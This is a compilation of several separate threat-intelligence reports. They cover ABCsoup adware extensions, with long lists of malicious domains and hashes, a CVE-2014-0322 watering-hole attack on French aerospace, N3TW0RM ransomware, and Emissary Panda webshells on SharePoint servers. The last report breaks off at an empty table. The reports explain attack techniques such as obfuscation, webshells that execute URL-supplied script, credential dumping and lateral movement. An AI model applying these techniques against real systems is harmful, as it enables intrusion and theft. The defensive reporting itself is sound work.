Now, let’s have a look at how this malware unpacks itself. The `manifest.json` registers the background scripts and `content_scripts` that run on all HTTP/HTTPS web pages on document start. The key variable of the malicious extension is the same as that of Google Translate.
Starting with the background scripts, the file `xdybtFunznAR.js` has just one function which XORs a given string with the XOR key stored in the file itself. The file `GKjancdgnxjiX.js` uses the above function to decode certain string/object/function names. There are many calls to the function in the original code with unreadable arguments. These calls are replaced with the return value of this function to make the code more human-readable. On line 50 of this file, the extension is trying to load `zAnGYXBmorbJl.js`. This is the final payload that after being decoded is injected into all web pages.
The core functionality of over 350 variants of this family of malware is the same, but the difference between each sample lies in the final injected file.
The injected file first calls an init function which further calls `initSocial`. This function collects user information based on the current websites opened in the browser. If the active domain is either from social media sites `odnoklassniki.ru` or `vk.com`, the extension will collect the user data from their social media profiles of these websites. The following data is being collected:
- First Name
- Last Name
- Birthday
- Gender
This information is then sent to the C&C server. Further investigation suggests that this information is collected to inject personalized ads for every user. After collecting this information about the victim, these extensions inject JavaScript on the active websites.
There are a few more functions that have similar functionality; the only difference lies in the current active domain the victim is visiting. The list of targeted domains also includes:
- vk.com
- ask.fm
- doubleclick.net
- rollapp.com
- mscimg.com
- edgecastcdn.net
- superfish.com
- kismia.com
- yandex.st
- mediaplex.com
- betfair.com
- rightsurf.info
- pluginplus.net
- game-insight.com
- znanija.com
- rambler.su
- megogo.net
- business-free.com
The main purpose of this malware is to inject ads based on the user information it collects. There are many other functions that inject scripts from various other domains, but those domains are currently down.
## The Threat Actors
Data behind this Chrome extension malware points to Eastern European and Russian threat actors with the use of `.ru` domains and the aware injective code in the Russian social media platform `vk`.
With over 350 samples inside the ABCsoup family of extension malware, it is safe to suspect that this campaign is a collaborative effort of a well-organized group, a common theme from Eastern European and Russian hacker groups.
Although there have been numerous adware campaigns targeting browser extensions in the past, this family differs from those campaigns as it uses the combination of several different techniques like:
- Installing the extension in the three major browsers on a victim’s machine.
- Using Google Translate Extension ID to hide itself from endpoint security solutions, scanners, and the victims.
- Use of heavy obfuscation.
- Personalized ads based on user information.
## How does ABCsoup Impact Enterprise Clients?
This malware is purposefully designed to target all kinds of users and serves its purpose of retrieving user information. The injected scripts can be easily used to serve more malicious behavior into the browser session, such as keystroke mapping and data exfiltration.
The ABCsoup malware does not target any specific group, meaning it is as much an enterprise threat as it is a consumer threat. The keystrokes can contain sensitive user information such as passwords and thus can be leveraged to access more sensitive information such as critical business data, client data, and even personal data, without any knowledge of the user. In addition, the ABCsoup malware looks similar to Google Translate to hide itself from victims or security solutions and therefore can remain undetected for a long amount of time.
## The Victims of ABCsoup
The long list of C&C domains and the social media websites this campaign is targeting to collect user data from are mostly Russian domains which indicates that this campaign is mostly targeting Russian users. Although this malware will work on any Windows PC it is installed on, none of the over 350 discovered samples are available on Chrome WebStore.
The number of infected users is currently unknown, but with the large investment into the various samples and capabilities, it is safe to say the malicious actors invested a significant amount of time in making this threat as effective as possible.
On the other end, even when user data collection is triggered for Russian sites, global users will still see ads but with less personalization. Thus, we can say this is a global threat.
## Zimperium vs. ABCsoup
Enterprise customers of Zimperium are protected against the ABCsoup campaign with Zimperium zBrowser Protect through on-device detection and determination. In addition, the browser extension security tool prevents the installation of the malicious extension into any protected browser.
While the malicious extension is sideloaded via a Windows-based executable, traditional endpoint security solutions are not monitoring for this vector of attack, leaving browsers susceptible to this attack. Users should be trained on the risks associated with browser extensions outside of official repositories, and enterprises should consider what security controls they have in place for such risks.
## Indicators of Compromise
**List of domains:**
- dxrvcwmlzk.ru
- vxnsxcwtky.ru
- qxkyvdxfst.ru
- ebisgjvjce.ru
- kviiqfesoa.ru
- hxtqvgexlf.ru
- xxozqcyglz.ru
- kdhxxdbmmj.ru
- nykbneelqp.ru
- fojqexnqwn.ru
- zmhikmcqka.ru
- mysqkptdzp.ru
- wajxzdmbek.ru
- wbfcyoqqgy.ru
- jskwpehjbn.ru
- fpeplvrlgt.ru
- qeyapfqhwl.ru
- bjdibiyyei.ru
- evwoqwrdzv.ru
- nvwtztiwrp.ru
- hzszqoimbc.ru
- rptcavxndj.ru
- njbkjqsrmb.ru
- iyscytsgkb.ru
- ypsmoeqpql.ru
- aoxpvplfox.ru
- ajsbvlpser.ru
- wozjivizyw.ru
- laavnjznqf.ru
- iyzqporrgn.ru
- ldicmowfak.ru
- hlflheyikb.ru
- jsv14tlnaii.ru
- nliqmvcqib.ru
- gszosmbblv.ru
- exooseszox.ru
- rcqfjymyqq.ru
- vqhqadnrqm.ru
- vxlmidapfc.ru
- lqmxvqqzpz.ru
- ohedoyijef.ru
- hdjyrczkbn.ru
- dqlvaltxzw.ru
- ylxdxfqvda.ru
- qewiatlyzd.ru
- lrajephkmd.ru
- qvknfkhqfg.ru
- txnfrnrkir.ru
- qjqosngccj.ru
- deczqsqqfg.ru
- yznvtjxwfw.ru
- bxpfkabcmi.ru
- systemupdates1.top
- haibphnqqm.ru
- okavmpdagc.ru
- suppasml.ru
**Hashes of exe files:**
- f2a4ccecf516367cf5350cf69713bf5645021afb210d07329b468cf92ec0acec
- e0130496b44c7f6064cadbf365b93272098cc29da60b84fdfd5d8b7f62f8434e
- a4a1f23c3667854aab31835653e31576018ebc96ce55f813c51b7d41bbae4403
- b9d2e73801c5741073b02704443bd36101e0c65863341e5813644e6a2c35aa2a
- 71b0b37b924875bc174831db4809dd86b87f98849c500e0ea4df37888e98d115
- 146c4b6420540de18b8d9978a2206908fd4e5dbfdac06f31466e591b5f80afe3
- fa53f7e326f7e0b93a79a2d4970d229b2262ca9ce0f1a45ba1759677a31fa5df
- 20931d7fe65c0542583ebe66b9c093fb988fe680540bbddc021587c13d53a813
- 30ff74c0d71220d45ef0da3dd84c30b9f80db6a9927078fc57ca122120daad77
- 6f21d66608b7b0bb8e5508765ed9f0d2382acae6408bb7cf80f7806e8bcb9268
- 5446153bfe267e3d899660f1658954487818581da6511720a79b7120534d9048
- 49f5b05674dcf8c05fedd698baf44dde0013480c38f2a38a9401bc5eafcb60d3
- b4500e50c9e36fc4a7ad36bb5f858f488f5e50c0f13005de3a670942a5bf1083
- 64cad223db7f3b44f562be463bcecd6b9bcc30a8ccedf5fd4121e8f32ea80ab5
- 5576aa2eabe7cb3319dc13e48fdf49e2f20d1f68a13a8748bda50523144f3511
- c25cb57e0c618b89b0b72b7dbe3e39596c3767768038636c811959b87b81421f
- 68fc2684a47f5e3d27cddda10a182e43ef133c3dafb57ae8119b34a1b5a28150
- 812b5ccb9fae00a9f98aafcb4e9c6088a75771962da68450f6f2afabc4b04ad3
- 518d70a81eb63632e41ab43025cbb203fdf076cf15f1bb368d7f7ead33aeb376
- 08f5b91ee363f69750b4decab1bd8a9282d43d46677e771c3216153182316c66
- 58af067cccdec7e7500db8ba129b01f832cffe333ef236c723bc9f7c44c0b25b
- 3118781f9f857b9994572dd3f854e8d206a680303594ae182af2a7e6fa752c3f
- e337aecd0011db4333325bbf118966d4df171acfe7315ae823b2af29d2640689
- 42a178cc737c7c9f46d1d0fb7c1533e6feeba15149e8fa717c4f9172157a2b1c
- 58b6ad464e81407f312718220a24cfb28aee07c6050f5833d7394df292b0d823
- 0cbb1042559a962bf3f5430deecb4548eb45d354d765eb3bf7b93660b607527d
- c31fa157e8997006e29f66f3fce53619b46173fe7d20ad3a54889c052e6bf273
- 6173142a313d1eaea5bdb678fa7dd5fa6b9bf347519d682fdcd5d1754b95d8e2
- c23730ad27183ee423b2c592a3a8dfab0b91d122808a2987f14ae0d35dd5a269
- d304afc890e7182eb9c58511f50af84ac8b17688738dff14857f3887adcf988f
- 889661009f96e35def08507e5c4f87f3c3f9cbda89de057c379687159c894b6f
- dff504a2d8a9a068ca833a83319645c55848fd9d0413c25302265d13a443e416
- da1e10f3346b03299748a7e3b680bc4d4965fc6234f57ac158b1aaa47529af1b
- 95f9baa7f4b174c09a5f7269d259eaa94ac4d9e991d619382323ee3bbbdfc618
- 58178941d24b17f1054bd89c359c5dc294854dd0394a83429c6db47b29de05ed
- bdc6f5011089f0c4ba36e64bba6541f8486f7a9fcf1912885c33f43c1d7b8945
- 4155dd6b5b05ae09a8661f1f2593a3143e693c2de5db11a3fb158562b2a71794
- 4b1b25716e81655242a47739d01f0ecec1d571499ffcf8be73dcd6c659ebd304
- 6aefac50c06e547c31b5cdf7ddd14ded5824b39d7ac24c60569bcca2eefe90e4
- 188b1e5390c60118f53c7288dd85fc553b882daf65e23d36f01553a03e2e19d5
- c1a8b14b82623415023d9815ab77d3483a7b75a73ffa1ce03bce8ff67b7745a1
- 2261af622fc1516c9f013b9f9759e4347c9bf7eee9c2a1f897d20d50c5f020fa
- 720f3e986f79437663f2e1c08b29a8ecbda9cc9f680e7ff3d9c4248e880396ae
- e2266d9952c01c3a721994b1a6f6cde51c11ced81f0be984eef6517475b04031
- 4e10db19712ee8c3c2317c24ea3bbff993b907e9f79a688a6f1b4971504644e6
- c475c63b794589977374843511739fc38711ab4a4fb9072de15483e505591d22
- 25b0552a49bf431943e68b3ca40956b4accd9be120eaae49692b1000a4994906
- 2125fcf4221cc7a915e40f60cc0acec5126cb36dadf8d09da4703455456a7441
- d15920de7ac8d5776c8da8ee80eb73c0788d727e694e6f235402c4c76b7c6852
- 5a36b1aee562efadc2264dd21c060eb5eb375ea99d56e58cf4bd08509f113e30
- 30fbad2855441a181433233d48535c05f1cb1563283fe6ebe5e1758bc170f533
- b354644b44a574b88b006a20ad165d5bf42a38494d736e8a53abf932646ace91
- cbb162dc66fc08dd458d06a6e6f1dee402f81d8cdfa1f992d29b979175377aed
- c7a202318c1d99ed559f382f5827da32536182bbcb0f6a659a425a1d29e17045
- 004a7d95f071128023d0134be053d50a2814f86c3d7ee1263cb980c9ff54406b
- 0e70aebddbed0c3d25dd0390533969dd516fd4b585e0c7b6814db2f45eb72481
- c51c797ab4523bf3a8e68f8cdb65236c27499729fcb9f1d1c91a2eec369b256f
- 0662c47cc8727bb4d22a2ab09f13be91c9d228bc26e87e8fddc9090ce8f8df19
- da5f43a9e7ae6e5b701ee44e5d1100f18f08df1019c435bb63dd244cdebf1a2d
- 26531ee9d426b033aec57e64880028ff4823bad8c12ab6d283453c5abfaff42e
- b93611c248a2cda22746d6f4fafec0995074be09fdc442ec6444ddcf1bd983eb
- e8a4b7690d9acda05f528e46666be76c40caa8ed7f4b41dabb6ae51d974cfe5d
- faaf9846f9070c455bc535e8a36fd7b74750c3f59c7d7a32d9a23c2894ba8987
- 378b42a82290804682d95edf9f6e5355f2c61f4952b6e164198803d5634c438e
- ba17e6b91a73eabce2f217429e522e6a0821f15ba5413f1160f7ba0e950d53f8
- 710f2e1f2eedb6dc65996671502d895815e57df53b2494d107637a1f6eb0de07
- 87669b9b13106049bc7dee270277e83310a6d24c20e3cc216ef9c0c8411958fc
- 40d1f33b1e2209ee1501502d3ba21921cf40e2be0aeb4319480fa92eaa721179
- 8e5a949a1dbf084e512b2616c7dfd2b26405c68935d649455e523b2b2e3465ae
- cda5c36a2d6be79bdc11ab9298df0eaf6b8bccce208e3921516ca5ac71a2244a
- 28c2010883cc695b68331c9b0510b239da02cdc259d65aa5cd90509453555957
- bdc183de8545937d4c9ddc695004818480325e9f689be9f343e3e3136c179281
- 890518f01217acc17e36bbf7f46ecf37aa744e916ae13e2bd84901c032a8e269
- 6adca7681ae6d974df06835a2707a625727cbd0b25fe7aaa72807baac0c66bc9
- 85c72fdf84881b4ff9018de95a64e90e426418f4255aeef749568a7033d180cf
- 11769a05c8cf25319bcb929995388925e47bd84c5fbabb2e4368d75062d84346
- 9cf3c83d3160b4d290154f752f35df7daff314c8fae35dda556dcdf6f537127a
- 20c1fbae8e3b4da04ba69ea3d7323f476536357f7d5aa2eca2138070a8ad970d
- 931be158768ea43400b8ae738012caacb608156ae1c5ffcb8e841fdd475b20c7
- 6cba59c4e41aef5fd230a22f406cdeb72f63da49097eb7aa96c7e46cc4f7280
- ba83a966c001b22bd3e50eab0b0139580d668279f03f1674347d4fa98f490257
- 34e492f43e85bbffb8dd3e465c4aa1c09359a124d62df99baa2262595781267a
- 64dce4d7cc76bd78623ceb288e885d2b34b1b338795dd3edd9632aedc4a2db1b
- f0a67982f01db58bbda282f2b32a43a2cd9724f6303621c1e90a9f4e0d08f3d2
- 61cfc3d7d4b01acc76320541c6fc67363d3030013ef4c171b76df94a40a59210
- 98599eafc850e353fea20916bfae0c1630c4e11ae1d857a0a372b5e3d514789f
- 1690e57544df5027e2cd5993ebc306e6299142829ff76ac029ac48c2fd81bd32
- eca84f9dfdac8ab5a77b854f72c02a1400b298b854dba44b0fef12861b2b63cc
- 3d81cbe53bb4bf5918fc6da76394a0d87c9a33e77c4920691873d22e3d8296c0
- 60878bb487967af30c7e0c1bde0fa82033ba6c980b55e828bb37e924104e4114
- a2be7fc6e01527207043f16112642dce52f0e4b18c43fa0d31ec5729ed0bd18d
- 85e290fe0b68bf6834cb443e70c4162609e086569f31fd02a6083d0bc2e155f4
- c2e61830b31d68206edb8e782f097a15d35ae9fbf70de4eed97257bd9a591e26
- e0444c8f739c7069e3ff831b9260ecb65b61d42e523baa6a1b679717de669f1c
- 50e29d470f158942d2b5b98d960a7ff9e8363ba244a675f91e35877e4e056b87
- c6fdad4e6ba91d926562144f4574e52ac2e8456a14561da4a2badb431087e79a
- f0fa6f138374de977b5ffb31a4eee9de8388c58d3ca6fa47ac243369d529632e
- 1b07ec5a5757341276098be39822e76799c61775027035077ebb201441383cf9
- 4e74b8f75b546a0385b5833d1d619ee909375de35c9f72192e4cd5cc9fc6874d
- d4c569a9f51da2d0f0379bd727da5306a29ed7ff7c37ea79bb9b1256f92eaf43
- 1c15903d27a61b67537d96d898951b453d89ed17fd11a60d3f33e5a1b8ea97b0
- a65b71943a81db71e76c1e253c61fe24c237fdb9c1bc82ea2948013448873bff
- 6a66b34fa709cbadfa4e7ab68a32c570db9d66952f6696da8d4ec772a5125dab
- 2611916a45425b63210855a664088bacfac50c949546770a20ba3cc98c62be1d
- af73cfa21d09ae1ce21d65967995caf3ccfaf2af06f4e0a7b1282cd67cee4160
- 38f575771a32c3ed9e6310decfc4f43dc5218b0d0799fd366c8f76ec0a9107e6
- df556321059f301849c987eb854381fefdaa72f6ea8174d66d0b0d781acec62c
- 636a43b077905f084e833586c3e754f7d826da273a333635d93e47bd11fa80ba
- de4b665948ee40374b7c3d4628074a5053113c410f033ef93d15b01a4e480c71
- d12b1dc55619494c270768bfd0d0eff409965161dd4d5fd6aaf5fc18c2c32b13
- 45ac28cd293e8a271938baf9fc6424abe043217aa2feef6608d2496c89f5bb6e
- 3396752616c55d97f672a50be3f819c4ae8ee43e7ee02181858e9a951d71c4cd
- 37e2a266057551452b675810441633a04bfc968a09303fdfa40e829a3c64560
- dd472ba2e7b7ad5fb7ded56042ee47bd59a77870c030da374b57f4d1c12fa6b8
- ab063f49fe142bbed02b88ba1ac44c19cc879d5c0c1e5331dd56cfab89df7a36
- f694d3b114e59b032088428ddd372a183962febe70292cd7d7d82d07a90c11af
- 665f4e9267be5efe7499b1dc6493f8e210ef56fe29014343df4174c74e2972be
- 45f590ca149d618e3bf98ad926fca7c1d52a348e1319991b5728155a57e0796f
- 6212bb92cf716a99a76b501bc2a1750362e3ee1f4a1548c62988a4096eda41fb
- 68fae991d11fd404b8505dcceae22d7ecb1aeabb43e33f09a9ee94276a14a2e8
- 4909a0d960b73dcb3b6873867a813c107d770a734e2d6abb4a0df12401094d08
- f648853c4ccf67258d3bf06ecbc941bf1ed4fc8cc463d6787a63187055b59448
- 64fbe54b877fcd1604d8c7cfd9d2768b655205baee1b2a38286f4686a61c4148
- 44d970fe998e6c6dd37e7a3b1a41607d42bd8465c3e0cda9b4dd1e8b7b42be69
- 420d11efeed9a20419e7b15c1ff1debb75d60d83ca55ab1115080b53e8ba7240
- 5d1243122119f564faff2fcf3e5498594cd86b1575cfbc219698af157b9c623a
- a369f1dde0c4bc23747ab6ff5484660dcfd771716b51b656cc684bedaf9b63e8
- 7e7d08c8a90f7749f22d94fba8f10306e3b9904e399d3efbeb128c1f7fb46e36
- 000d571e1d10230875ca13ef30d16c907bad7c09e69ed6fbf0e8118beb61a6c8 |
# The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Activity
**THE ADVERSARY LINE-UP**
**25 FEB 2014**
**MATT DAHL**
Two weeks ago, news broke about strategic web compromise (SWC) activity on the website for the U.S. organization, Veterans of Foreign Wars (VFW). This activity leveraged exploit code for a zero-day vulnerability now identified as CVE-2014-0322 and ultimately infected victims with ZxShell malware. CrowdStrike Intelligence attributed this attack to the AURORA PANDA adversary; however, the discovery of additional indicators revealed that another adversary was leveraging the same vulnerability to carry out targeted attacks nearly a month before the VFW attack occurred. This other activity appears to be focused on French aerospace and shares similarities with a 2012 SWC campaign affecting the website of U.S.-based turbine manufacturer, Capstone Turbine.
## GIFAS-Related Activity
CrowdStrike Intelligence became aware of this additional activity after learning of a malicious iframe located at savmpet[.]com. The iframe redirected visitors to gifas[.]assso[.]net, which was hosting exploit code in two files (include.html and Tope.swf) as well as a malicious payload (Erido.jpg).
The content of the page was taken from the website of the French aerospace industries association, Groupement des industries françaises aéronautiques et spatiales (GIFAS). The 17 January 2014 date on both the webpage and the page source shows that it was created nearly a month before the VFW attack occurred. Victim exploitation occurred in the same manner as in the VFW activity, but the payload was different. Instead of ZxShell malware connecting to AURORA PANDA-related infrastructure, it was a malware variant known as Sakula connecting to command-and-control (C2) infrastructure at oa[.]ameteksen[.]com.
## French Aerospace Focus
This attack’s most obvious connection to French aerospace is the content taken from the GIFAS website and the GIFAS-based domain used to host the exploit code and payload (gifas[.]assso[.]net). However, a more in-depth look reveals additional connections. First is the IP address 173.252.252.204, which hosted both savmpet[.]com and gifas[.]assso[.]net. Several other domains were also pointed at this IP during the same time frame, including two that contained the same content and malicious iframe as savmpet[.]com, secure[.]safran-group[.]com, and icbcqsz[.]com.
Of particular interest was secure[.]safran-group[.]com. Safran is a France-based aerospace and defense company with a focus on the design and production of aircraft engines and equipment. The company owns the safran-group[.]com domain, and the fact that one of its subdomains was pointed at a malicious IP address suggests that the adversary compromised Safran’s DNS.
The Sakula malware used in this attack contained an unusual and interesting component that further indicates a focus on French aerospace. As part of the infection process, it added a number of domains to the “host’s” file of victim machines. The snecma[.]fr domain belongs to the Safran subsidiary, Snecma, that designs and builds engines for civilian and military aircraft, and spacecraft. The domains listed appear to provide remote access to the company’s employees and possibly third-party contractors.
The purpose of this component is unclear. It does not map these domains to malicious IP addresses because the 217.108.170.0/24 range belongs to the company, which means it is not meant to send victims directly to adversary infrastructure for credential collection. One possibility is that it was meant to make the malware appear more legitimate. It has also been hypothesized that this was done to ensure DNS connectivity to these particular domains; however, it seems unlikely that victims would suffer significant DNS connectivity issues, which means that adding this component to the malware for that purpose would be somewhat superfluous.
It should be noted that no victim logs related to this attack were discovered, so it is unclear who the actual targets and victims were. Having the secure[.]safran-group[.]com domain pointed at a malicious IP indicates that Safran suffered a DNS compromise, but no deeper network compromise was observed. It is possible that the adversary desired to target the French aerospace and defense sectors broadly, or possibly organizations in these sectors globally.
## Similarities to 2012 Capstone Turbine SWC Attack
In January 2013, it was reported that the website for U.S.-based turbine manufacturer, Capstone Turbine, had been compromised and was being used in a SWC attack leveraging an exploit for the CVE-2012-4792. There are three primary similarities between the Capstone Turbine attack and the recent French aerospace activity.
The first, and most significant, connection is the use of Sakula malware. In both campaigns, Sakula variants were installed on successfully exploited machines. In Capstone Turbine, the Sakula sample used (MD5 hash: 61fe6f4cb2c54511f0804b1417ab3bd2) connected to web[.]vipreclod[.]com, and in the recent attack, the sample (MD5 hash: c869c75ed1998294af3c676bdbd56851) connected to oa[.]ameteksen[.]com. Use of this malware doesn’t appear to be widespread, but it is not yet clear whether only one group uses it, and therefore its use alone does not necessarily indicate a particular adversary.
Another similarity is that GIFAS-based malicious domains are related to each incident. In the more recent attack, the gifas[.]assso[.]net domain was used to host exploit code and the malicious payload. The Capstone Turbine incident did not directly use a GIFAS-based domain, but a deeper look at network indicators related to those observed in the Capstone incident reveals two such domains: gifas[.]cechire[.]com and gifas[.]blogsite[.]org.
The third similarity between the two is the use of zero-days. The exploit used in Capstone Turbine was a zero-day during the time it was active, just like the exploit used in the recent French aerospace activity. This is a general similarity that does not create a definitive link between the two attacks, but when viewed in conjunction with the use of the same malware and GIFAS-based domains, it strengthens the connection. |
# N3TW0RM Ransomware Emerges in Wave of Cyberattacks in Israel
A new ransomware gang known as 'N3TW0RM' is targeting Israeli companies in a wave of cyberattacks starting last week. Israeli media Haaretz reported that at least four Israeli companies and one nonprofit organization had been successfully breached in this wave of attacks.
Like other ransomware gangs, N3TW0RM has created a data leak site where they threaten to leak stolen files as a way to scare their victims into paying a ransom. Two of the Israeli businesses, H&M Israel and Veritas Logistic's networks, have already been listed on the ransomware gang's data leak, with the threat actors already leaking data allegedly stolen during the attack on Veritas.
From the ransom notes seen by Israeli media and BleepingComputer, the ransomware gang has not been asking for particularly large ransom demands compared to other enterprise-targeting attacks. Haaretz reports that Veritas' ransom demand was three bitcoin, or approximately $173,000, while another ransom note shared with BleepingComputer shows a ransom demand of 4 bitcoins, or roughly $231,000.
A WhatsApp message shared among Israeli cybersecurity researchers also states that the N3TW0RM ransomware shares some characteristics with the Pay2Key attacks conducted in November 2020 and February 2021. Pay2Key has been linked to an Iranian nation-state hacking group known as Fox Kitten, whose goal was to cause disruption and damage to Israeli interests rather than generate a ransom payment. The N3TW0RM attacks have not been attributed to any hacking groups at this time.
Due to the low ransom demands and lack of response to negotiations, one source in the Israeli cybersecurity industry has told BleepingComputer that they believe N3TW0RM is also being used for sowing chaos for Israeli interests. However, Arik Nachmias, CEO of incident response firm Honey Badger Security, told BleepingComputer that he believes that in N3TW0RM's case, the attacks are motivated by money.
## Unusual Client-Server Model to Encryption
When encrypting a network, threat actors will usually distribute a standalone ransomware executable to every device they wish to encrypt. N3TW0RM does it a bit differently by using a client-server model instead. From samples of the ransomware seen by BleepingComputer and discussions with Nachmias, the N3TW0RM threat actors install a program on a victim's server that will listen for connections from the workstations.
Nachmias states that the threat actors then use PAExec to deploy and execute the 'slave.exe' client executable on every device that the ransomware will encrypt. When encrypting files, the files will have the '.n3tw0rm' extension appended to their names. While BleepingComputer does not have access to the server executable, we set up NetCat to listen and wait for connections on port 80. We then launched the slave.exe client, so it connects back to our IP address on that port.
As you can see below, when the client connects back to port 80 on our device running NetCat, it will send an RSA key to the server. Nachmias told BleepingComputer that the server component would save these keys in a file and then direct the clients to begin encrypting devices. This approach allows the threat actor to keep all aspects of the ransomware operation within the victim's network without being traced back to a remote command & control server. However, it also adds complexity to the attack and could allow a victim to recover their decryption keys if all of the files are not removed after an attack. |
# Emissary Panda Attacks Middle East Government SharePoint Servers
**By Robert Falcone and Tom Lancaster**
**May 28, 2019**
## Executive Summary
In April 2019, Unit 42 observed the Emissary Panda (AKA APT27, TG-3390, Bronze Union, Lucky Mouse) threat group installing webshells on SharePoint servers to compromise government organizations in two different countries in the Middle East. We believe the adversary exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604, which is a remote code execution vulnerability used to compromise the server and eventually install a webshell. The actors uploaded a variety of tools that they used to perform additional activities on the compromised network, such as dumping credentials and locating and pivoting to additional systems on the network. Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144, which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017.
This activity appears related to campaigns exploiting CVE-2019-0604 mentioned in recent security alerts from the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security. In addition to the aforementioned post-exploitation tools, the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks. We also found the China Chopper webshell on the SharePoint servers, which has also been used by the Emissary Panda threat group.
In this blog, we provide details of the tools and tactics we observed on these compromised SharePoint servers, explain how we believe these connect to the Emissary Panda threat group, correlate our findings with those of the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security, and provide indicators of compromise (IoCs) from our research.
## Attack Overview
This webshell activity took place across three SharePoint servers hosted by two different government organizations between April 1, 2019, and April 16, 2019, where actors uploaded a total of 24 unique executables across the three SharePoint servers. The timeline shows three main clusters of activity across the three webshells, with activity occurring on two separate webshells within a very small window of time on April 2, 2019, and the activity involving the third webshell two weeks later on April 16, 2019. The actors uploaded several of the same tools across these three webshells, which provides a relationship between the incidents and indicates that a single threat group is likely involved.
The tools uploaded to the webshells range from legitimate applications such as cURL to post-exploitation tools such as Mimikatz. The threat actors also uploaded tools to scan for and exploit potential vulnerabilities in the network, such as the well-known SMB vulnerability patched in MS17-010 commonly exploited by EternalBlue to move laterally to other systems on the network. We also observed the actors uploading custom backdoors such as HyperBro, which is commonly associated with Emissary Panda. Based on the functionality of the various tools uploaded to the webshells, we believe the threat actors breached the SharePoint servers to use as a beachhead, then attempted to move laterally across the network via stolen credentials and exploiting vulnerabilities.
## Webshells Installed
As previously mentioned, we found webshells installed on three SharePoint servers hosted at two different organizations, two of which had the same file name of errr.aspx and the other a filename of error2.aspx. The webshells were hosted at the following paths on the compromised servers:
- /_layouts/15/error2.aspx
- /_layouts/15/errr.aspx
We were able to gather one of the webshells with which we saw the actor interacting, specifically the error2.aspx file. The error2.aspx file (SHA256: 006569f0a7e501e58fe15a4323eedc08f9865239131b28dc5f95f750b4767b38) is a variant of the Antak webshell, which is part of a tool created for red teaming called Nishang. The specific variant of Antak in error2.aspx is version v0.5.0, which is an older version of the webshell that was updated in August 2015 to v0.7.6 to include some basic authentication functionality and the ability to perform SQL queries. It’s possible the actors obtained Antak v0.5.0 via the Nishang GitHub repository or from SecWiki’s GitHub that also has the v0.5.0 version of Antak.
While we observed the threat actor uploading additional tools to the Antak webshell above, the SharePoint server also had several other webshells installed. The additional webshells, specifically stylecs.aspx, stylecss.aspx, and test.aspx, appear related to the China Chopper webshell. We cannot be sure all of these webshells were installed by the same actors, as multiple actors could have exploited the SharePoint server. However, the installation of China Chopper and the uploading of Emissary Panda related custom payloads to the Antak webshell suggests they are likely related, as this threat group has used China Chopper to compromise servers in the past.
| Filename | SHA256 |
|------------------|------------------------------------------------------------------------|
| stylecs.aspx | 2feae7574a2cc4dea2bff4eceb92e3a77cf682c0a1e78ee70be931a251794b86 |
| stylecss.aspx | d1ab0dff44508bac9005e95299704a887b0ffc42734a34b30ebf6d3916053dbe |
| test.aspx | 6b3f835acbd954af168184f57c9d8e6798898e9ee650bd543ea6f2e9d5cf6378 |
The stylecs.aspx webshell provides fairly significant functionality, as its developer wrote this webshell in JScript that ultimately runs any supplied JScript code provided to it within the HTTP request. The parameter e358efa489f58062f10dd7316b65649e is interesting as it is the MD5 hash for the letter ‘t’, which is a known parameter for China Chopper.
The stylecss.aspx webshell is very similar to the stylecs.aspx, as it runs JScript provided within the e358efa489f58062f10dd7316b65649e parameter of the URL; however, the stylecss.aspx webshell does not accept base64 encoded JScript, but expects the JScript in cleartext that the actor would provide as URL safe text.
The last webshell extracted from the SharePoint server had a filename of test.aspx, which is very similar to the stylecs.aspx webshell as it runs base64 encoded JScript provided in the URL of the request. However, the test.aspx webshell uses a parameter related to the compromised organization to obtain the base64 encoded JScript that it will run and display within the browser. The test.aspx shell also includes code that sets the HTTP response status to a 404 Not Found, which will display an error page but will still run the provided JScript.
## Links to Security Advisories
In April 2019, several national security organizations released alerts on CVE-2019-0604 exploitation, including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security. Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell. While we cannot confirm all of the claims made in these advisories, we noticed overlaps in the webshell code hosted on the compromised SharePoint servers we observed and the webshells mentioned in these advisories.
The Saudi Arabian National Cyber Security Center’s alert provided details regarding the activities carried out by the adversary. This alert also displayed the code associated with the China Chopper webshell observed in the attacks, which included Request.Item[“t”] to obtain JScript code from the ‘t’ parameter of the URL. As mentioned in the previous section, stylecs.aspx and stylecss.aspx both used a parameter of e358efa489f58062f10dd7316b65649e, which is the MD5 hash of ‘t’. This may suggest the actor modified the script slightly between the attack we observed and the attack mentioned in the NCSC advisory, all while retaining the same functionality. Also, the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell, which is the same filename we saw associated with China Chopper.
The alert from the Canadian Center for Cyber Security included the SHA256 hashes of the files associated with the campaign, one of which was 05108ac3c3d708977f2d679bfa6d2eaf63b371e66428018a68efce4b6a45b4b4 for a file named pay.aspx. The pay.aspx file is part of the China Chopper webshell and is very similar to the stylecss.aspx webshell we discussed above, with the only major difference being the URL parameter of ‘vuiHWNVJAEF’ within the URL that pay.aspx webshell uses to obtain and run JScript.
## Tools Uploaded
During our research into this attack campaign, Unit 42 gathered several tools that the actor uploaded to the three webshells at the two government organizations. The chart shows the same tools being uploaded to the webshells, which provided an initial linkage between the activities. One of the overlapping tools uploaded to the webshells is the legitimate cURL application, which could be used by multiple groups. The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe), check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe), and pivot to them using remote execution functionality offered by a tool similar to PsExec (psexec.exe). These tools are not custom made by the adversary but still provide a medium confidence linkage between the activities. We also observed the actors uploading the HyperBro backdoor to one of the webshells, as well as legitimate executables that would sideload malicious DLLs that have overlapping code associated with known Emissary Panda activity.
The actors uploaded 10 portable executables to the error2.aspx webshell. The list of tools uploaded to this webshell includes legitimate applications, such as cURL and a component of Sublime Text used to sideload a malicious DLL. The list also includes several hack tools, such as Mimikatz for credential dumping and several compiled python scripts used to locate and compromise other systems on the local network. Lastly, we saw the actor uploading a custom backdoor called HyperBro, which has been associated with Emissary Panda operations in the past.
| Filename | SHA256 | Description |
|---------------------|-----------------------------------------------------------------------|--------------------------------------------------|
